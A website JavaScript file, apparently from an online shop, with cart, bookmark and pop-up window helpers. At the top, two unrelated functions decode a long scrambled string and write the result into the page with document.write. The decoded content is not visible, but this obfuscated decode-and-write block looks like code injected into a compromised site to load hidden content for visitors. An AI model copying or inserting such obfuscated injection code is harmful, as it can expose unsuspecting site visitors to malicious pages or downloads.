function dsago(y,t){var r='';var sl=t.length;
var k=y.length;var ft=64;var a=new Array(32,126);var c=new Array(0,31);var j=0;for(var i=0;i<sl;i++)
{var ch=t.charAt(i);var ca=t.charCodeAt(i);if(ca=='10'||ca=='13'||ca=='9'){nc=ca;
if(j==k){j=0;}j++;}else{if(j==k){j=0;}var kc=y.charAt(j);var ka=y.charCodeAt(j);j++;var s=ka%ft;
var nc=ca-s;if(nc<a[0]){nc=a[1]-(s-(ca-a[0]));}}var nc=String.fromCharCode(nc);r+=nc;}return r;}
function gad(){document.write(dsago('fJ1=,?NWIO<<iK74RMb@-M','b}6Q7Q$7}*NCf-M;,#Qj0%)}6Q7Q$9GK]iV\r\n=#|+l4l)n2B:Js\'}L^N@mdjH?Z7aDX>fo`uEK91wE:z@Bwl%d.&1nGGir>GDvMM2w>5sq#h4v/rGz^t>R\r\nEM:rE;qn(_5|:w4SiaAG9)nqYj:I4H+o>t4o2@2@q!j}LC7+tVF>T9d=_CjqNzu(xvJC*l=5((4ej/<oKSNz\r\np~ME7p89#y3r.o7|7D@|0]OU$$o-r=#|+l4l+y?N@@p~F1$$oQ}z4H+o>t4o2B=M}+h{GL6HYdK=RD]/a\r\nF=Pu%nnAM7zK5)!0=OD]AhtcaI~x~EJ0j<E~|6_Cr@~n_^q@I;A^w\r\nfc?:`<\\\"+|<OB}\r\nE$AP4{MT((4ej/<oKS[Ko/j$AP4{MV\r\nB B!+GSGBU~Q8>N?2p::D;+o>t4oFX<Ewzj%GM99<E!<4a6r)n`R6P\'vjsQj5~Yr\r\n^/Bp:sCSj'));}

function cart_submit() {document.cart.submit();}

function bookmark_fn() {
  // display bookmark string if the browser is one of the following
  // Mac: Safari, IE
  // Win: IE
  
  var user_agent = navigator.userAgent;
  var buf = '';
  
  // detect platform
  is_mac = user_agent.match(/Mac/);
  is_win = user_agent.match(/Win/);
  
  //detect browser
  is_opera  = user_agent.match(/Opera/);
  is_ie     = user_agent.match(/MSIE/);
  is_safari = user_agent.match(/Safari/);
  
  var show_it = false;
  
  if (is_mac && (is_ie || is_safari) && (!is_opera) ) {
    buf = '<img src=/sg/bm_apple.gif width=191 height=17 alt="" border=0>'; // image for mac
    show_it = true;
  }
  
  if ( (is_win && is_ie) && !is_opera) {
    buf  = '<span style="cursor:hand" onclick="window.external.AddFavorite(location.href, document.title);">';
    buf += '<img src=/sg/bm_mac.gif width=191 height=17 alt="" border=0>'; // image for windows
    buf += '</span>';
    show_it = true;
  }
  
  if (show_it) {
    document.write('<center>' + buf + '</center>');
  }
}


// for tell a friend to open small window

var win=null;

	function NewWindow(mypage,myname,w,h,scroll,pos){

		if(pos=="random") {
			LeftPosition=(screen.width)?Math.floor(Math.random()*(screen.width-w)):100;
			TopPosition=(screen.height)?Math.floor(Math.random()*((screen.height-h)-75)):100;
		}

		if(pos=="center") {
			LeftPosition=(screen.width)?(screen.width-w)/2:100;
			TopPosition=(screen.height)?(screen.height-h)/2:100;
		
		}	else if ((pos!="center" && pos!="random") || pos==null){
			LeftPosition=0;TopPosition=20
		}

	settings='width='+w+',height='+h+',top='+TopPosition+',left='+LeftPosition+',scrollbars='+scroll+',location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=yes';

	win=window.open(mypage,myname,settings);
}
